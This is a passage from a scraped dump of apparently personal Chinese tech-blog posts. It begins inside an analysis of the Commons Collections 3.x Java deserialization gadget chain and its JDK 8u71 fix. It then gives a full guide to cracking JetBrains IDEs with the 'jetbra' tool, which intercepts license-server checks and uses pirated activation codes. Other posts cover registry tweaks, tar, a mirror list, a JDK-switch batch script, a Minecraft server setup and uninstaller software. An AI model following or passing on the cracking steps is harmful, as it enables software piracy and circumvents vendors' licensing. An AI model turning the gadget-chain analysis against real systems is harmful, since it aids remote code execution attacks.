var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException(\u0026quot;Non-annotation type in annotation serial stream\u0026quot;); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) \u0026amp;\u0026amp; !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + \u0026quot;[\u0026quot; + var8 + \u0026quot;]\u0026quot;)).setMember((Method)var2.members().get(var6))); } } } } 核心函数是Map对象var5触发setValue(),为了能走到这个分支需要条件1和2\nvar7 != null !var7.isInstance(var8) \u0026amp;\u0026amp; !(var8 instanceof ExceptionProxy) var7需要是个类，并且和var8的类型不相同。 var7通过var3获取到值，具体获取什么的key由 var5(var4) 的Map对象决定的，可以通过类初始化传入(可控)。 var8是通过可控 var5(var4) 的Map对象值决定的，条件2容易过故不展开研究。 现在 var3.get(var6) key我们可控，现在需要Map类型var3，它是由 AnnotationType.getInstance(this.type) 类型传入的也是类初始化传入(可控)，AnnotationType 对@Target这个注解的处理，getInstance会获取到@Target的基本信息，找一个有Target注解的类即可，PoC找的就是java.lang.annotation.Retention，到这条件1也达成了。\n走到transform() TransformedMap类继承了 AbstractInputCheckedMapDecorator，存在 setValue() 方法\npublic Object setValue(Object value) { value = this.parent.checkSetValue(value); return super.entry.setValue(value); } 最后通过TransformedMap的checkSetValue()到了我们想要的transform()方法\nprotected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); } transform()到RCE 利用链成立，分析正确。\njdk1.8为什么不行 其实上面的poc在Java 7的低版本(只测试了7u80，没有具体版本号)、8u71之前都是可以使用的，在Java 8u71之后代码发生了变动。\n那么为什么不行呢，看一下jdk8里面的sun.reflect.annotation.AnnotationInvocationHandler readObject复写点\nprivate void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { GetField var2 = var1.readFields(); Class var3 = (Class)var2.get(\u0026quot;type\u0026quot;, (Object)null); Map var4 = (Map)var2.get(\u0026quot;memberValues\u0026quot;, (Object)null); AnnotationType var5 = null; try { var5 = AnnotationType.getInstance(var3); } catch (IllegalArgumentException var13) { throw new InvalidObjectException(\u0026quot;Non-annotation type in annotation serial stream\u0026quot;); } Map var6 = var5.memberTypes(); LinkedHashMap var7 = new LinkedHashMap(); String var10; Object var11; for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) { Entry var9 = (Entry)var8.next(); var10 = (String)var9.getKey(); var11 = null; Class var12 = (Class)var6.get(var10); if (var12 != null) { var11 = var9.getValue(); if (!var12.isInstance(var11) \u0026amp;\u0026amp; !(var11 instanceof ExceptionProxy)) { //没有了map赋值语句，伤心 var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + \u0026quot;[\u0026quot; + var11 + \u0026quot;]\u0026quot;)).setMember((Method)var5.members().get(var10)); } } } ... } 因为这个函数出现了变动，不再有针对我们构造的map的赋值语句，所以触发不了漏洞。\n而是改成了新建一个LinkedHashMap，把值转到这个LinkedHashMap里。\n","date":"2025-06-11T00:13:01+08:00","image":"https://www.fufu.me/img/202506110020489.png","permalink":"https://www.fufu.me/apache-cc3.x/","title":"Apache-CC3.x链分析"},{"content":"前言 Jetbrains 是一家捷克的软件开发公司，产品有大名鼎鼎的 IntelliJ IDEA 和 PyCharm。\n然而我们想要免费使用需要提交学生认证等一系列操作；并且由于反破解手段的不断加入，曾经的破解方法都在逐渐失效。\nJetbra 是一款Jetbrains系列产品的激活工具，这个项目超过 30% 的内容是从 ja-netfilter 复制而来。\n这篇文章将给出 Jetbra 的使用教程。\n开始激活 下载并安装激活目标 以下是一些常用的 Jetbrains 开发工具\nIntelliJ IDEA 、PyCharm 、WebStorm 、PhpStorm 、Rider 本文以IDEA为例，其他原理相同\n下载并安装IDEA，我安装到了 D:\\software\\work\\JetBrains\\IntelliJ IDEA 2025.3.1.1 目录，你也可以选择其他目录，但是一定要记住安装的位置，选择好之后点击下一步\n然后勾选创建桌面快捷方式，其他的可以按自己的情况选择，点击下一步，再点击安装\n获取Jetbra 前往激活码发布页 ，然后点击红框中 jetbra.zip 的超链接下载激活工具包。下面一大串省略号的区域是各个软件的激活码，点击一下即可复制，但是现在直接输是无效的，需要使用工具配置后才能填入。\nCaution 这里需要说明的是：jetbra/ja-netfaliter激活的原理是拦截并重定向与Jetbrains账号验证服务器的数据。2024.2版本后jetbrains新的安装程序自带了三个区域语言包，若选择中文大陆区域语言包，会将激活验证服务器地址修改为国内的新地址。而jetbra/ja-netfaliter的拦截是黑名单制度，该新服务器地址并不在原本的拦截列表中，所以会出现激活失效不断弹窗的情况。\n解决方法是：在 jetbra/config-jetbrains/url.conf 配置文件中添加国内激活服务器的url\nPREFIX,https://account.jetbrains.com.cn/lservice/rpc/validateKey.action 上述的Caution写于一年前，现在的jetbra已经修复了这个问题，所以只需要检查配置文件的内容和下图一样即可\n配置激活环境 下载jetbra后解压，进入到 jetbra/scripts 文件夹中\nwindows运行：install-current-user.vbs\nmac和linux运行：install.sh\n双击后会有一个弹窗\n点确定后耐心等待10-20秒，会出现一个弹窗提示 Done\n在 jetbra/vmoptions 目录中有所有软件的配置文件，我们打开对应的 idea.vmoptions 文件，只需要复制它的后三行字符串\n修改 IDEA 的 idea64.exe.vmoptions 配置文件，我的这个文件在 D:\\software\\work\\JetBrains\\IntelliJ IDEA 2025.3.1.1\\bin 目录中，读者按自己的安装情况寻找路径，总而言之就是在IDEA安装目录下的bin目录中寻找，找到以后将我们刚才复制的那三行追加在这个配置文件中，保存即可\n获取激活码 复制激活码，当变成copied说明复制成功\n激活！ 选择 激活码(Activation code)，输入我们复制的激活码，点击 激活(Activate) 即可成功激活\n享受IDEA吧！\n","date":"2025-03-06T21:22:15+08:00","image":"https://www.fufu.me/img/20250306214509877.jpg","permalink":"https://www.fufu.me/activate_jetbrains/","title":"激活Jetbrains全家桶"},{"content":"前言 将个性化背景更换为“Windows聚焦”模式的时候，会在桌面多出一个“了解此图片”的图标\n看着很烦，但又因为Windows聚焦自带的壁纸比其他主题的壁纸好看很多，所以删除这个图标是最好的办法\n如何删除？ win+R输入regedit，然后找到如下路径\n计算机\\HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\HideDesktopIcons\\NewStartPanel 右键-\u0026gt;新建-\u0026gt;DWORD(32位)值\n将其重命名为 {2cc5ca98-6485-489a-920e-b3e88a6ccce3}，然后双击打开更改数值数据为1，回到桌面刷新一下即可删除该图标。\n配置好的注册表项应该是这样\n","date":"2025-03-06T15:54:40+08:00","image":"https://www.fufu.me/img/20250306160034601.jpeg","permalink":"https://www.fufu.me/removewin_focus/","title":"如何取消显示Windows聚焦在桌面上生成的“了解此图片”图标"},{"content":"前言 这是我第N次删除设备和驱动器中百度网盘标志了。 每次百度网盘更新，曾经删除的百度网盘图标就又复活了。\n大致思路是打开注册表，找到相应的值，删除。 但是删除后相隔的周期长了再删除时，忘记路径是什么了。 这次就专门记录一下。\n如何删除？ win+R输入regedit，然后找到如下路径\n计算机\\HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\NameSpace Tip 删除整个 {CF3CDEFB-31BE-43AE-B064-B9C62C883259} 目录即可去除 PPS图标\n删除整个 {679F137C-3162-45da-BE3C-2F9C3D093F64} 目录即可去除 百度云盘图标\n删除整个 {01249E9F-88FF-45d5-82DB-A1BEE06E123C} 目录即可去除 360云盘\n删除整个 {BA16CE0E-728C-4FC9-11E5-D0B35B384552} 目录即可去除 爱奇艺视频\n简单方法 当然，这个方法比较麻烦，现在百度还算有点良心，自己加了去除的选项\n打开百度网盘，右上角进入设置界面。 取消勾选“在我的电脑中显示网盘”即可 搞定，这样看着舒服多了 ","date":"2025-03-05T20:05:51+08:00","image":"https://www.fufu.me/img/20250306105924199.png","permalink":"https://www.fufu.me/removebd_logo/","title":"设备驱动器中的百度网盘标志怎么删除?"},{"content":" Tip 只将文件打包叫做归档,将打包解除叫提取归档,使用算法进行处理时对应说法为压缩与解压缩(简称解压)\n命令示例 tar -cvf xxxx.tar \u0026lt;目录\u0026gt; 将\u0026lt;目录\u0026gt;归档为一个tar tar -xvf xxxx.tar 提取一个tar tar -cvzf xxx.tar.gz \u0026lt;目录\u0026gt; 打包并压缩\u0026lt;目录\u0026gt;为一个tar.gz tar -zxvf xxx.tar.gz 解压一个tar.gz(也称为tgz) tar -cvjf xxx.tar.bz2 \u0026lt;目录\u0026gt; 打包并压缩一个tar.bz2 常用参数 -c: \u0026ndash;create create a new archive 创建一个归档文件 -x: \u0026ndash;extract, extract files from an archive 从一个归档文件中提取文件 -v: \u0026ndash;verbose verbosely(详细地) list files processed 显示创建归档文件的进程，列出被添加到归档中的文件 -f: \u0026ndash;file=ARCHIVE use archive file or device ARCHIVE 指定归档文件的名称 -z: \u0026ndash;gzip filter the archive through gzip 使用 gzip 压缩归档文件(.gz扩展名) -j: \u0026ndash;bzip2 filter the archive through bzip2 通过bzip2压缩的形式对文件进行归档(.bz2扩展名) 用法总结 -f，-v参数必有，前者让我们能够指定文件名字，后者使归档、提取归档和解压过程可视化**(-f必须在末尾和指定文件相邻)** -c参数创建归档时使用，-x参数提取归档时使用 如果需要压缩加上-z或-j，对应gzip和bzip2算法 ","date":"2025-01-29T17:00:23+08:00","permalink":"https://www.fufu.me/linuxcommtar/","title":"Linux的tar命令使用"},{"content":"推荐使用的镜像站 清华源：https://mirrors.tuna.tsinghua.edu.cn 中科大：https://mirrors.ustc.edu.cn 阿里云：https://mirrors.aliyun.com 腾讯云：https://mirrors.cloud.tencent.com 企业站 网易：https://mirrors.163.com 搜狐：http://mirrors.sohu.com 阿里云：https://mirrors.aliyun.com 首都在线科技股份有限公司：http://mirrors.yun-idc.com 华为云：https://mirrors.huaweicloud.com 腾讯云：https://mirrors.cloud.tencent.com 平安云：https://mirrors.pinganyun.com 开源社/Azure中国：http://mirror.azure.cn OpenTuna/AWS中国：https://opentuna.cn 教育站 中国科技大学：https://mirrors.ustc.edu.cn 清华大学：https://mirrors.tuna.tsinghua.edu.cn 北京外国语大学：http://mirrors.bfsu.edu.cn 北京交通大学：https://mirror.bjtu.edu.cn 北京理工大学：http://mirror.bit.edu.cn/web 兰州大学：http://mirror.lzu.edu.cn 上海交通大学：http://ftp.sjtu.edu.cn 大连东软信息学院：http://mirrors.neusoft.edu.cn 浙江大学：http://mirrors.zju.edu.cn 重庆大学：http://mirrors.cqu.edu.cn 南阳理工学院：http://mirror.nyist.edu.cn 中科院高能物理研究所：http://mirror.ihep.ac.cn ，mir-cern 西北农林科技大学：https://mirrors.nwafu.edu.cn ，mirrors.nwsuaf 华中科技大学：http://mirror.hust.edu.cn 大连理工大学：http://mirror.dlut.edu.cn 山东女子学院：http://mirrors.sdwu.edu.cn 西安交通大学：https://mirrors.xjtu.edu.cn 上海交通大学SJTUG：https://mirrors.sjtug.sjtu.edu.cn 南京邮电大学：http://mirrors.njupt.edu.cn 南京大学：http://mirrors.nju.edu.cn 同济大学：https://mirrors.tongji.edu.cn 华南农业大学：https://mirrors.scau.edu.cn 东莞理工学院：https://mirrors.dgut.edu.cn 重庆邮电大学：http://mirrors.cqupt.edu.cn ，mirror.redrock 云南大学：http://mirrors.ynuosa.org/index ，pypi.opensource 哈尔滨工业大学：https://mirrors.hit.edu.cn 南方科技大学：https://mirrors.sustech.edu.cn 其他 常州贝特康姆软件技术有限公司(公云PubYun)：http://centos.bitcomm.cn ，mirrors.pubyun 豆瓣pypi：http://pypi.doubanio.com ，pypi.doubanio v2ex的pypi：http://pypi.v2ex.com 淘宝NPM：https://npm.taobao.org Ruby China的RubyGems：https://gems.ruby-china.com 淘宝TAEMaven仓库镜像：http://mvnrepo.tae.taobao.com/content/groups/public 阿里云Maven仓库镜像：http://maven.aliyun.com/nexus/content/groups/public 阿里云Jcenter仓库镜像：http://maven.aliyun.com/nexus/content/repositories/jcenter LinuxEye：http://mirrors.linuxeye.com 移动云镜像站：http://mirrors.bclinux.org Cloud-Stack镜像站：http://mirrors.cloudstack-china.com cn99(常州贝特康姆旗下)：http://mirrors.cn99.com 龙芯开源社区：http://mirrors.loongnix.org 英荔教育：https://mirrors.e-ducation.cn injdk.cn的各版本JDK镜像：https://www.injdk.cn 百度Go Module仓库代理：http://goproxy.baidu.com ","date":"2025-01-27T18:23:16+08:00","image":"https://www.fufu.me/img/Continuous%20delivery%20application%20scenarios.svg","permalink":"https://www.fufu.me/opensrcmirror/","title":"国内开源镜像站点汇总"},{"content":"经常使用java的朋友可以发现，我们需要在一台电脑上部署多种版本的java来运行不同的程序。但是java版本之间的切换很麻烦，要手动更改环境变量的值，所以我写了以下脚本来简化这一过程。\n环境变量的形式是键值对，当值是目录时，在cmd中输入单词时会到path变量的目录下寻找这个词的可执行文件。\n@echo off ::Get Administrator Privileges %1 mshta vbscript:CreateObject(\u0026quot;Shell.Application\u0026quot;).ShellExecute(\u0026quot;cmd.exe\u0026quot;,\u0026quot;/c %~s0 ::\u0026quot;,\u0026quot;\u0026quot;,\u0026quot;runas\u0026quot;,1)(window.close)\u0026amp;\u0026amp;exit cd /d \u0026quot;%~dp0\u0026quot; ::Setting Window Size mode con cols=120 lines=60 title JDK-Version change script of Bat :menu echo current jdk version: java -version echo. echo ============================================= echo ################ JDK version-list ################ echo. echo [0] cancel switch echo [8] switch to JDK8 echo [17] switch to JDK17 echo [22] switch to JDK22 echo. echo ============================================= echo. set /P vb=Please choose need switch JDK versions: if \u0026quot;%vb%\u0026quot; EQU \u0026quot;8\u0026quot; ( setx \u0026quot;JAVA_HOME\u0026quot; \u0026quot;C:\\Program Files\\Java\\jdk-1.8\u0026quot; /m echo Tips: Successfully switched JDK version, \u0026quot;JAVA_HOME\u0026quot; has been modified C:\\Program Files\\Java\\jdk-1.8. pause echo. ) else if \u0026quot;%vb%\u0026quot; EQU \u0026quot;17\u0026quot; ( setx \u0026quot;JAVA_HOME\u0026quot; \u0026quot;C:\\Program Files\\Java\\jdk-17\u0026quot; /m echo Tips: Successfully switched JDK version, \u0026quot;JAVA_HOME\u0026quot; has been modified C:\\Program Files\\Java\\jdk-17. pause echo. ) else if \u0026quot;%vb%\u0026quot; EQU \u0026quot;22\u0026quot; ( setx \u0026quot;JAVA_HOME\u0026quot; \u0026quot;C:\\Program Files\\Java\\jdk-22\u0026quot; /m echo Tips: Successfully switched JDK version, \u0026quot;JAVA_HOME\u0026quot; has been modified C:\\Program Files\\Java\\jdk-22. pause echo. ) else if \u0026quot;%vb%\u0026quot; EQU \u0026quot;0\u0026quot; ( goto exit ) else ( echo. echo ! choosing version error, please renew choice ... echo. goto menu pause ) echo Please press any key to exit.. \u0026amp; pause \u0026gt; nul :exit 脚本本地化 java的目录结构如下所示，我自己创建了scripts目录，然后把脚本放到了里面，脚本的名字叫jchan.bat\n如果路径不同请修改脚本中的语句\nif \u0026quot;%vb%\u0026quot; EQU \u0026quot;8\u0026quot; ( setx \u0026quot;JAVA_HOME\u0026quot; \u0026quot;C:\\Program Files\\Java\\jdk-1.8\u0026quot; /m echo Tips: Successfully switched JDK version, \u0026quot;JAVA_HOME\u0026quot; has been modified C:\\Program Files\\Java\\jdk-1.8. 1.其中第一行EQU 8代表输入的数字选项，按照自己的版本情况自行修改。\n2.第二行setx \u0026ldquo;JAVA_HOME\u0026rdquo; \u0026ldquo;C:\\Program Files\\Java\\jdk-1.8\u0026rdquo; /m中C:\\Program Files\\Java\\jdk-1.8表示要写入环境变量键JAVA_HOME的值，所以后面的值要更改成自己java的路径(重要)。\n3.第三行是输出提示，仍然是更改路径即可。\n环境变量配置 使用前应该保证在环境变量里添加了如下配置\nJAVA_HOME的值随意，因为在之后切换的过程中会被脚本自己更改，所以只要做好脚本本地化中的第二步即可。\nclasspath按图示配置\n.;%JAVA_HOME%\\lib\\dt.jar;%JAVA_HOME%\\lib\\tools.jar path中添加java的环境变量 按图示填入值，注意一定要删除红色框中的值，这是java自己生成的path，会影响版本的切换！\n黑色框的值自己填入，注意第二行，要填自己电脑scripts文件夹的路径。\n%JAVA_HOME%\\bin C:\\Program Files\\Java\\scripts 配置完毕后，你就可以使用了。\n方法：Win+R-\u0026gt;键入cmd-\u0026gt;jchan(因为前面把脚本命名为了jchan.bat)-\u0026gt;按脚本提示更改版本。\n文件下载地址：📄jchan.bat ","date":"2025-01-25T19:22:36+08:00","image":"https://www.fufu.me/img/java-logo.png","permalink":"https://www.fufu.me/javaverchange/","title":"JAVA版本切换脚本"},{"content":" 《Minecraft》（我的世界）是一款由Mojang Studios开发的沙盒游戏。玩家在一个像素化的开放世界中自由探索、建造、采集资源，并与怪物战斗。游戏分为生存模式和创造模式，前者需要玩家获取资源维持生命，后者则提供无限资源供玩家尽情发挥创意。游戏支持单人和多人模式，因其高度自由和无限可能性，深受全球玩家喜爱。\n这篇教程详细介绍了如何搭建Minecraft服务器。只需按照以下步骤逐一操作，你就可以成功搭建一个Minecraft服务器，并与朋友们一起畅游在你创建的游戏世界中。(文中的*号表示可选，跳过也没有影响)\nMinecraft 的 Java 版本需求 一般情况下 Minecraft 纯原版的 Java 版本需求如下：\n1.0 - 1.11.x 可以使用 Java 6 和 Java 7，但推荐使用 Java 8。 1.12(17w13a) - 1.16.5(1.17-21w18a) 需要使用 Java 8。 1.17(21w19a) - 1.17.1 需要使用 Java 16，大部分组件也兼容 Java17。 1.18(1.18-pre2) - 1.20.4 需要使用 Java 17。 1.20.5(24w14a) 及以上版本需要使用 Java 21。 请选择合适的版本，否则会出现兼容性问题\n不同需求的服务器选购 Minecraft自1.18版本开始，服务端对内存的要求爆炸性增长，至少为4GB起步。像站长和朋友玩的2h2g划着船都会卡死 VPS服务器操作系统自身会占用一些内存，Windows系统约占1G，Linux约占200MB，建议使用Linux开服 下方表格推荐的内存配置并不包括操作系统占用量 服务器类型版本 1.6.x或者更老 1.6.x - 1.10.x 1.11.x - 1.14.x 1.15.x - 1.17.x 1.18及以上 参考玩家人数 普通联机生存服 1H1G 2H2G 2H2G 2H4G 2H4G 5人在线 普通联机生存服 2H2G 2H4G 2H6G 4H4G 4H10G 10+人在线 红石电路生存服 2H2G 2H4G 4H4G 4H4G 4H8G 5人在线 红石电路生存服 2H2G 4H4G 4H6G 4H8G 4H10G 10+人在线 中小型模组服 4H4G 4H4G 4H4G 4H6G 4H8G 5人在线 中小型模组服 4H4G 4H6G 4H6G 4H8G 4H10G 10+人在线 大型模组服、整合包 4H8G 4H8G 4H8G 4H10G 6H12G 5人在线 大型模组服、整合包 4H10G 4H10G 4H10G 4H12G 6H14G 10+人在线 基岩生存服 2H2G 2H2G 2H2G 2H4G 2H4G 5人在线 基岩生存服 2H2G 2H2G 2H2G 2H4G 2H4G 10+人在线 基岩插件/模组服 4H4G 4H4G 4H4G 4H4G 4H4G 5人在线 基岩插件/模组服 4H6G 4H6G 4H6G 4H6G 4H8G 10+人在线 请按照你的需求选购合适的服务器，确保性能充足\n连接到服务器 首先用SSH连接到你的服务器，不同的操作系统SSH的使用方法有一定差异，但本质都是使用终端。\n如果你用的是Linux或Mac系统，可以直接打开系统内置的Terminal（终端命令行）建立SSH会话，不需要安装额外程序。\n打开Terminal后，输入以下指令连接到服务器。注意替换成你自己的服务器公网IP\nssh root@\u0026lt;your_server_ip\u0026gt; 如果你用的是Windows系统，你需要安装额外的程序，可以使用我推荐的这款WindTerm 登录成功后会出现以下字样 [root@\u0026lt;你的服务器主机名\u0026gt; ~]# 然后你就可以在后面输入下面列出的指令\n现在的服务器会自动选择最优软件源，如果你存在软件源无法连接的问题，请参考linux换源 安装Java 在安装Java版的我的世界服务器端程序前，需要先在服务器上安装Java。Java有很多个版本，请对照上面列出的版本需求进行选择(我的版本是1.21.1-\u0026gt;jdk21)\nDebian # 1.安装java apt install openjdk-21-jre-headless -y # 2.验证java版本 java -version 如果你细心观察，会发现软件名中带有jre-headless，这是一种简化版的Java OpenJDK 21，它移除了对图形界面应用的支持，由于服务器端不可能安装图形界面应用，所以它非常适合安装在服务器端。\nCentOS # 1.下载RPM包 wget https://download.oracle.com/java/21/latest/jdk-21_linux-x64_bin.rpm # 2.下载完成后，使用以下命令安装 sudo yum localinstall jdk-21_linux-x64_bin.rpm # 3.安装完成后，验证 Java 版本，确保是你需要的版本 java -version Java安装完成后，你还需要在服务器上安装一个叫screen的软件，用来创建可分离的服务器会话，它能让你的服务器端程序在你关闭终端窗口后持续运行。\nyum install screen -y 也可以采用systemd创建守护进程的方法，具体步骤在后面。\n安装我的世界服务器端程序 🔗自建网盘下载链接：server_1.21.1.jar 🔗经典版本：server_1.12.2.jar | server_1.7.10.jar 现在可以安装服务器端程序了，你可以在命令行中输入wget，后面跟随下载链接。包的下载链接可以在我的世界官方网站 找到，右键下图中这个绿色的超链接，复制链接地址\n也可以在Windows端下载包，直接点击上图绿色的超链接，浏览器会自动创建下载任务。然后用我推荐的WindTerm上传。将文件拖放到窗口，然后可以发送程序包，但是你应该会遇到以下错误\n这是因为你没有安装lrzsz，它是一款能够在 Linux 端上传和下载文件的工具，使用了ZMODEM 文件传输协议，相对于 ftp 来说，无需配置文件服务，使用简单方便。安装命令如下：\n# CentOS yum install lrzsz -y # Ubuntu apt-get install lrzsz 现在服务器端程序已经上传完毕，默认文件名为server.jar，如果你还想下载其他版本的mc，可以选择给文件重命名\nmv server.jar server_\u0026lt;your_version\u0026gt;.jar 配置和运行我的世界服务器 我的世界的服务器端程序下载/上传完成后，接下去就可以运行程序了，在运行前，应该先启动screen对话，进入可分离对话后用指令运行程序就不会因为关闭终端窗口而停止。使用以下指令\n# 创建一个新的screen窗口 screen # 首次启动我的世界程序 java -Xms1024M -Xmx1024M -jar server_\u0026lt;your_version\u0026gt;.jar nogui 启动的参数后面会详细讲解。\n第一次使用这个指令时系统报错，提示必须同意用户协议，这并不是真的出现了错误，而是故意设计来引导用户阅读用户协议。以上的指令创建了两个新文件，一个是用户协议eula.txt，一个是配置文件server.properties，用来设置游戏模式、难度等属性。\n为了使我的世界程序能够正式运行，需要同意用户协议。可以使用Vim编辑器修改，如果你喜欢也可以用Nano编辑器。如用Vim编辑器，使用以下指令。\n# 进入用户协议文件 vim eula.txt # 将eula的false属性改为true 保存并退出eula.txt文件\n编辑server.properties文件来设置各种游戏属性 vim server.properties 这个文件里有很多项属性可以设置，其中最重要的是以下几项：\ndifficulty (难度) – 设置游戏的难度，默认是easy简单，共有peaceful容易、easy简单、normal普通、hard困难几个选项。 gamemode (游戏模式) – 设置游戏的模式，默认是生存模式，可供设置的选项有survival生存模式、creative创造模式、 adventure冒险模式、spectator旁观模式。\npvp – 设置玩家之间能否对打，默认是true，如果改成false，玩家之间将不能互相攻击伤害对方。\nmax-players（最多玩家数量）– 设置最多玩家数量。\n我一般还会修改enable-command-block为true(允许使用指令)\n按照你的偏好设置完成后，输入“:wq”并回车保存并退出文件。\n正式启动我的世界服务器程序 编辑完eula.txt后就可以正式启动我的世界服务器端程序了，方法是再次使用上面用到的那个java指令，但要按自己需求调整参数\njava -Xms2G -Xmx4G -jar server_\u0026lt;your_version\u0026gt;.jar nogui 相比第一次使用这个指令，这次正式启动游戏程序需要把Xms和Xmx参数改成适合自己服务器的。\nXms设置的是服务器启动时的RAM的大小，-Xms2G就是把服务器启动时的RAM设成2G，单位是M或G都可以，如果采用M，就输入Xms2048M。\nXmx设置的是服务器运行时允许使用的最大RAM的值，-Xmx4G就是限制游戏最多使用4G的RAM。具体设置多少要看自己选择的服务器RAM大小有多少，如果服务器只有1G或2G就不能设这么高。\n指令中的-jar后面跟随的就是要运行的jar文件名称，就是我们上面下载的jar文件。如果没有重命名，就得把命令中的server_\u0026lt;your_version\u0026gt;.jar改成server.jar，如果你下载的是其他版本的我的世界服务器jar文件或命名成了其他名称，就改成相应的名称。\n指令中的nogui就是要求服务器不要启动图形用户界面，因为服务器不需要图形用户界面。\n输入指令回车后等待一段时间，游戏程序就启动完成了，启动成功时，会显示如下界面\n主要是这行文字：[Server thread/INFO]: Done (20.041s)! For help, type \u0026ldquo;help\u0026rdquo;\n因为之前使用了screen，所以现在可以按Ctrl + A + D键离开当前会话而不会终结进程。\n赋予用户OP(管理员)权限 现在有一个问题：要赋予用户OP权限，否则无法使用指令，甚至无法破坏方块。\n在如图运行中程序的下方空位输入 op \u0026lt;要给予权限的用户名\u0026gt;，回车执行，出现Made \u0026lt;用户名\u0026gt; a server operator则说明成功赋予\n同样的，deop \u0026lt;用户名\u0026gt;可以移除权限\n设置OP权限等级 在Minecraft服务器中，OP权限有不同的等级，具体如下：\n1级： 可以绕过生存模式限制并放置和破坏命令方块。 2级： 可以使用部分管理命令，如/clear、/difficulty、/effect等。 3级： 可以使用所有的管理命令，但不包括权限管理命令。 4级： 拥有完全的管理员权限，可以执行所有命令，包括/op和/deop来管理其他OP玩家。 使用op命令默认会给予最高的4级权限，但是我们或许不想给用户这么高的权限，可以通过编辑 ops.json 文件来设置不同玩家的OP权限等级，ops.json文件通常位于你的Minecraft服务器根目录下，找到该文件并编辑。 打开ops.json文件，你会看到如下格式的内容：\n[ { \u0026quot;uuid\u0026quot;: \u0026quot;玩家的UUID\u0026quot;, \u0026quot;name\u0026quot;: \u0026quot;玩家名\u0026quot;, \u0026quot;level\u0026quot;: 4, \u0026quot;bypassesPlayerLimit\u0026quot;: false } ] level 字段决定了玩家的OP等级，你可以自行设置，然后保存并关闭ops.json文件，重启服务器以应用更改。\n新版Minecraft（1.7+）还可以在游戏中直接通过命令设置OP权限等级：\n/op 玩家名 等级 连接到我的世界服务器 在电脑上用我的世界启动器(下载地址 )启动游戏后，依次选择多人游戏-\u0026gt;添加服务器\n然后在服务器地址中输入\u0026lt;你的服务器ip\u0026gt;:25565，因为默认端口为25565。点击完成即可添加完毕，选中你的服务器点击加入，就可以连接到服务器的游戏世界了。\n*创建 systemd 守护进程 如果你觉得 java 命令启动太过麻烦，又或者是想要防止进程终止，你可以设置 systemd 守护进程。\n新建并修改 minecraft.service 服务配置文件 vim /etc/systemd/system/minecraft.service 在文件中加入以下内容\n[Unit] Description=Minecraft Server After=network.target [Service] # 设置用户和组 User=root Group=root # 设置服务器的工作目录 WorkingDirectory=/home/software/minecraft # 启动服务器的命令 ExecStart=/usr/bin/java -Xms2G -Xmx4G -jar server_\u0026lt;your_version\u0026gt;.jar nogui # 允许服务重新启动 Restart=on-failure # 如果需要，在启动服务前进行延迟等待 ExecStartPre=/bin/sleep 10 [Install] WantedBy=multi-user.target 重新加载 systemd 配置 每次创建或修改服务文件后，都需要重新加载 systemd 配置以使更改生效\nsystemctl daemon-reload 启用服务 使用以下命令启用服务，这样它会在系统启动时自动启动\nsystemctl enable minecraft 启动服务 使用以下命令启动 Minecraft 服务器\nsystemctl start minecraft 检查服务状态 你可以使用以下命令检查 Minecraft 服务器的状态，确保它的运行状态\nsystemctl status minecraft 如果状态中出现[Server thread/INFO]: Done (20.041s)! For help, type \u0026ldquo;help\u0026quot;这句话，那么你的 Minecraft 服务器就成功启动了，并且它正在后台运行。\n","date":"2025-01-22T22:43:41+08:00","image":"https://www.fufu.me/img/minecraft.jpg","permalink":"https://www.fufu.me/minecraftserver/","title":"Minecraft(我的世界)服务器搭建教程"},{"content":"Revo Uninstaller是一款适用于Microsoft Windows的软件卸载程序。它可以卸载程序并删除程序的留下的任何文件和Windows 注册表项。\nB站大多推荐Geek Uninstaller，但是在我看来geek卸载软件的算法不够安全，geek使用的是贪心匹配，容易误删一些重要的注册表信息，导致系统出错。而Revo Uninstaller作为工业级的软件卸载程序，安全易用，在卸载前会备份注册表，当出现异常时可以通过备份恢复原状。\n软件页面 强制卸载 强制卸载是一个功能强大的模块，旨在解决程序的内置卸载程序缺失或无法正常运行的情况，允许删除缺少内置卸载程序、仅部分安装或删除或已损坏的程序。\n快速/多次卸载 Quick Uninstall 将为整个程序队列创建一个注册表备份和系统还原点，然后通过运行其内置卸载程序来卸载每个程序，然后自动扫描和删除残留文件。Revo Uninstaller Pro 将尝试默默运行内置卸载程序以加快进程并尽可能减少用户参与。\n使用过程 右键选择要卸载应用的快捷方式，点击使用Revo Uninstaller Pro卸载，软件将开始删除前的备份\n然后点击下一个，会扫描软件卸载的残余文件和注册表\n注意要点击全选和删除，不然会保留垃圾文件\n含内置卸载程序的需要自己选择如何卸载，下面演示123网盘\n如果你想使用内置的卸载器(容易掉坑)就点击“下一个”；建议将图中的勾去掉，此时Revo会用自己的算法卸载，但是依旧要记得在扫描后选择全选和删除。\n🔗自建网盘下载地址:https://cloud.nicht.top/s/8OHL ","date":"2025-01-22T22:29:59+08:00","image":"https://www.fufu.me/img/revouninstallerpro.png","permalink":"https://www.fufu.me/revouninstall/","title":"[卸载软件]Revo Uninstaller Pro"},{"content":" 本文分享如何在不使用服务器面板的情况下配置好环境,然后用Ubuntu搭建一个WordPress博客。\n文章\u0026lt;\u0026gt;中的内容需要替换为自己的信息,不要直接照抄\n前言 NGINX 是增长最快、最受欢迎的 Web 服务器。NGINX 是一款功能强大的 Web 服务器、反向代理和负载均衡器，以其高性能、稳定性和可扩展性而闻名。它通常用于提供 Web 内容、处理传入流量并将其分发到多个服务器。\nPHP 是一种广泛使用的开源脚本语言，专为 Web 开发而设计。从创建动态网页开始，PHP现在用于开发桌面应用程序。PHP 以其易用性、灵活性和对不同操作系统和 Web 服务器的广泛支持而闻名。(简单易用)\nMySQL 是采用最广泛的开源关系数据库，是许多流行网站、应用程序和商业产品的主要关系数据存储。\nWordPress 